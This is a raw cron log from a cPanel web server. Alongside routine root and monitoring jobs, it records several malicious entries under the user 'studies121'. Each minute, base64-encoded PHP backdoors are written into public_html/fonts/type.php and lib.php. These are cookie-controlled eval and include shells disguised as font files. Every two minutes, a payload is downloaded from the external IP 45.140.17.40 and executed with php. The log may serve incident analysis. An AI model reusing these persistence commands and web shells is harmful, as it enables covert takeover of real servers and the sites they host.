Feb 22 06:13:01 ip-184-168-122-23 CROND[7062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:13:01 ip-184-168-122-23 CROND[7064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:13:01 ip-184-168-122-23 CROND[7066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:13:01 ip-184-168-122-23 CROND[7067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:14:01 ip-184-168-122-23 CROND[7381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:14:01 ip-184-168-122-23 CROND[7384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:14:01 ip-184-168-122-23 CROND[7385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:14:01 ip-184-168-122-23 CROND[7383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:14:01 ip-184-168-122-23 CROND[7386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:15:01 ip-184-168-122-23 CROND[7702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:15:01 ip-184-168-122-23 CROND[7700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:15:01 ip-184-168-122-23 CROND[7706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:15:01 ip-184-168-122-23 CROND[7709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:15:01 ip-184-168-122-23 CROND[7711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:15:01 ip-184-168-122-23 CROND[7712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:15:01 ip-184-168-122-23 CROND[7707]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 06:15:01 ip-184-168-122-23 CROND[7708]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Feb 22 06:16:01 ip-184-168-122-23 CROND[8123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:16:01 ip-184-168-122-23 CROND[8121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:16:01 ip-184-168-122-23 CROND[8124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:16:01 ip-184-168-122-23 CROND[8126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:16:01 ip-184-168-122-23 CROND[8125]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 06:16:01 ip-184-168-122-23 CROND[8122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:17:01 ip-184-168-122-23 CROND[8460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:17:01 ip-184-168-122-23 CROND[8461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:17:01 ip-184-168-122-23 CROND[8464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:17:01 ip-184-168-122-23 CROND[8465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:18:01 ip-184-168-122-23 CROND[8777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:18:01 ip-184-168-122-23 CROND[8778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:18:01 ip-184-168-122-23 CROND[8781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:18:01 ip-184-168-122-23 CROND[8782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:18:01 ip-184-168-122-23 CROND[8784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:19:01 ip-184-168-122-23 CROND[9093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:19:01 ip-184-168-122-23 CROND[9095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:19:01 ip-184-168-122-23 CROND[9096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:19:01 ip-184-168-122-23 CROND[9097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:20:01 ip-184-168-122-23 CROND[9430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:20:01 ip-184-168-122-23 CROND[9432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 06:20:01 ip-184-168-122-23 CROND[9433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 06:20:01 ip-184-168-122-23 CROND[9439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:20:01 ip-184-168-122-23 CROND[9437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:20:01 ip-184-168-122-23 CROND[9435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:20:01 ip-184-168-122-23 CROND[9440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:20:01 ip-184-168-122-23 CROND[9438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:20:01 ip-184-168-122-23 CROND[9436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:21:01 ip-184-168-122-23 CROND[9759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:21:01 ip-184-168-122-23 CROND[9762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:21:01 ip-184-168-122-23 CROND[9761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:21:01 ip-184-168-122-23 CROND[9764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:22:01 ip-184-168-122-23 CROND[10169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:22:01 ip-184-168-122-23 CROND[10171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:22:01 ip-184-168-122-23 CROND[10174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:22:01 ip-184-168-122-23 CROND[10172]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:22:01 ip-184-168-122-23 CROND[10173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:23:01 ip-184-168-122-23 CROND[10489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:23:01 ip-184-168-122-23 CROND[10492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:23:01 ip-184-168-122-23 CROND[10491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:23:01 ip-184-168-122-23 CROND[10493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:24:01 ip-184-168-122-23 CROND[10825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:24:01 ip-184-168-122-23 CROND[10827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:24:01 ip-184-168-122-23 CROND[10826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:24:01 ip-184-168-122-23 CROND[10829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:24:01 ip-184-168-122-23 CROND[10831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:25:01 ip-184-168-122-23 CROND[11144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:25:01 ip-184-168-122-23 CROND[11146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:25:01 ip-184-168-122-23 CROND[11148]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 06:25:01 ip-184-168-122-23 CROND[11150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
